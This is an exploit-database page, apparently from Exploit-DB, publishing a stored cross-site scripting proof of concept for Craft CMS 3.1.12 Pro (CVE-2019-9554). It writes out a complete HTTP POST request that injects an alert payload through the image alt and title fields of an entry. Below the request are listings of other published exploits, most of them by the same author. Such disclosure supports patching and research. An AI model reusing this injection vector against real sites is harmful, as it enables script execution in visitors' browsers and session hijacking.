Menu

Search for hundreds of thousands of exploits

"Craft CMS 3.1.12 Pro - Cross-Site Scripting"

Author

Exploit author

"Ismail Tasdelen"

Platform

Exploit platform

php

Release date

Exploit published date

2019-03-04

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exploit Title: Craft CMS 3.1.12 Pro - Cross-Site Scripting
# Date: 2019-03-04
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://craftcms.com/
# Software Link : https://github.com/craftcms/cms
# Software : Craft CMS 3.1.12 Pro
# Version : 3.1.12 Pro
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2019-9554

# In the 3.1.12 Pro version of the Craft CMS web application, the XSS vulnerability has been discovered
# in the header insertion field when adding source code.
 
# HTTP POST Request :

POST /XXX/s/admin/entries/news/258-craft-cms-3-1-12-pro-xss-test HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/XXX/s/admin/entries/news/258-craft-cms-3-1-12-pro-xss-test
Content-Type: application/x-www-form-urlencoded
Content-Length: 1936
DNT: 1
Connection: close
Cookie: CraftSessionId=2ea7nf0jqr0dtl3ioesmlpibfn; CRAFT_CSRF_TOKEN=deccdc1b2ef00dd8580186987fe54e3cdf92305c6150cffb523f392540a2d4aba%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A208%3A%22iuw8Yd67pzxgeP7PrY9zqL5nYEB0Uor6JeS779fM%7Cf42be7b0c353ba14582c1e682a6150947da39c970d31f5cbc3ddc4c0bbe14608iuw8Yd67pzxgeP7PrY9zqL5nYEB0Uor6JeS779fM%7C1%7C%242a%2413%245j8bSRoKQZipjtIg6FXWR.kGRR3UfCL.QeMIt2yTRH1.hCNHLQKtq%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_identity=9804f2668edfba25525881f3badabcfe5adb1d71f4dcb4504daee11a78bc94a3a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A197%3A%22%5B%221%22%2C%22%5B%5C%22dQCnIq3FbN0KsbTg8nbPQxV3JvEWqbBzqXjf0nwbvJDN0LjgArYGZe4WaYfo3AiYzm8CaeKPjT9CUw_8mnAd_D89-nf39hYXRRoq%5C%22%2Cnull%2C%5C%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A65.0%29+Gecko%2F20100101+Firefox%2F65.0%5C%22%5D%22%2C3600%5D%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=53dcb198f73d427f239351d0c5ac1bb1e4fbba88fab3cc128854b0232098896da%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
Upgrade-Insecure-Requests: 1

CRAFT_CSRF_TOKEN=dgLN-H1XWhJgLIiYSYl52Z4wVJZttVH_wDyF9k5Bi00GXCSSTri7oLF9innUOlavPu4AhcUUuEoHMpGSl7-GbdK9oBrDQT5p3BN2frKMuzd6IgTMdbWhgSXqx6pj4hV1UyLi8rZBnAqaMQT1eP_1_4X0fqZYp5Q4GfmlV7iq26NdVxnY_X03CauMkmElBmRoa-6A_U8FGYjg2ipWdesOvZa18UZsUHMNWUWBmYzHJc-82MSRtiZ19DS1iTzV74nlnSaY3vva5oBQFEDtnwZhqR93usAkM2wlEFbw_yzZTonsaW3sHPlkkZl5x8YbLvl7TDl3pXmB3e3NG75Ltl9hzQ6NM7D2dtl7MwepoPSO41vqj8Es8nQOUOgkEh-BtdgOTRJg_0TTlOJHifTOB4EhFmNAgJeHdao6olhxgkCmkcmyhATeP8LED0mL_G7C25eWMw5cms0oWHudxvcyEjFdDiaSsYFrN3is0ekOYx_TbO7E2roXNjkDZy0M5q_Kn3KdkrODw-QVIJJ3-adtsKLAka9fzIyz68joE1oIoc5NFdg%3D&action=entries%2Fsave-entry&redirect=ac40ade69b3fe7bc96c8157907aae4128d2b64f411148be4af2141edea85b42fentries%2Fnews&sectionId=2&entryId=258&title=Craft+CMS+3.1.12+Pro+-+XSS+TEST&fields%5BfeaturedEntry%5D=&fields%5BfeaturedImage%5D=&fields%5BshortDescription%5D=%3Cp%3ECraft+CMS+3.1.12+Pro+-+XSS+TEST%3C%2Fp%3E&fields%5Bheading%5D=Craft+CMS+3.1.12+Pro+-+XSS+TEST&fields%5Bsubheading%5D=Craft+CMS+3.1.12+Pro+-+XSS+TEST&fields%5BarticleBody%5D=&fields%5BarticleBody%5D%5B259%5D%5Btype%5D=text&fields%5BarticleBody%5D%5B259%5D%5Benabled%5D=1&fields%5BarticleBody%5D%5B259%5D%5Bfields%5D%5Btext%5D=%3Cfigure%3E%3Ca+href%3D%22%22%3E%3Cimg+src%3D%22https%3A%2F%2Fdemo.craftcms.com%2F3Rdj0OGqru%2Fs%2Fassets%2Fsite%2F-.png%23asset%3A257%3Aurl%22+alt%3D%22%26quot%3B%3Ealert%28%26quot%3Bismailtasdelen%26quot%3B%29%22+title%3D%22%26quot%3B%3Ealert%28%26quot%3Bismailtasdelen%26quot%3B%29%22+data-image%3D%228ilh6edpse56%22%3E%3C%2Fa%3E%3Cfigcaption%3E%22%26gt%3B%3C%2Ffigcaption%3E%3C%2Ffigure%3E&fields%5BarticleBody%5D%5B259%5D%5Bfields%5D%5Bposition%5D=left&typeId=2&slug=craft-cms-3-1-12-pro-xss-test&author=&author%5B%5D=1&postDate%5Bdate%5D=3%2F4%2F2019&postDate%5Btimezone%5D=UTC&postDate%5Btime%5D=8%3A55+AM&postDate%5Btimezone%5D=UTC&expiryDate%5Bdate%5D=&expiryDate%5Btimezone%5D=UTC&expiryDate%5Btime%5D=&expiryDate%5Btimezone%5D=UTC&enabled=1&revisionNotes=
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2020-04-23 "Library CMS Powerful Book Management System 2.2.0 - Session Fixation" webapps php "Ismail Tasdelen"
2020-01-31 "FlexNet Publisher 11.12.1 - Cross-Site Request Forgery (Add Local Admin)" webapps php "Ismail Tasdelen"
2020-01-17 "GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-17 "APKF Product Key Finder 2.5.8.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-16 "Tautulli 2.1.9 - Denial of Service ( Metasploit )" webapps multiple "Ismail Tasdelen"
2020-01-15 "Huawei HG255 - Directory Traversal ( Metasploit )" webapps hardware "Ismail Tasdelen"
2020-01-14 "IBM RICOH 6400 Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2020-01-14 "IBM RICOH InfoPrint 6500 Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2020-01-13 "SpotOutlook 1.2.6 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-13 "TaskCanvas 1.4.0 - 'Registration' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-13 "SpotDialup 1.6.7 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-13 "Backup Key Recovery 2.2.5 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetShareWatcher 1.5.8.0 - 'Name' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-06 "Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "BlueAuditor 1.7.2.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotIM 2.2 - 'Name' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-06 "SpotFTP FTP Password Recovery 3.0.0.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotDialup 1.6.7 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)" webapps php "Ismail Tasdelen"
2020-01-06 "SpotMSN 2.4.6 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Dnss Domain Name Search Software - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NBMonitor 1.6.6.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotIE 2.9.5 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting" webapps hardware "Ismail Tasdelen" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected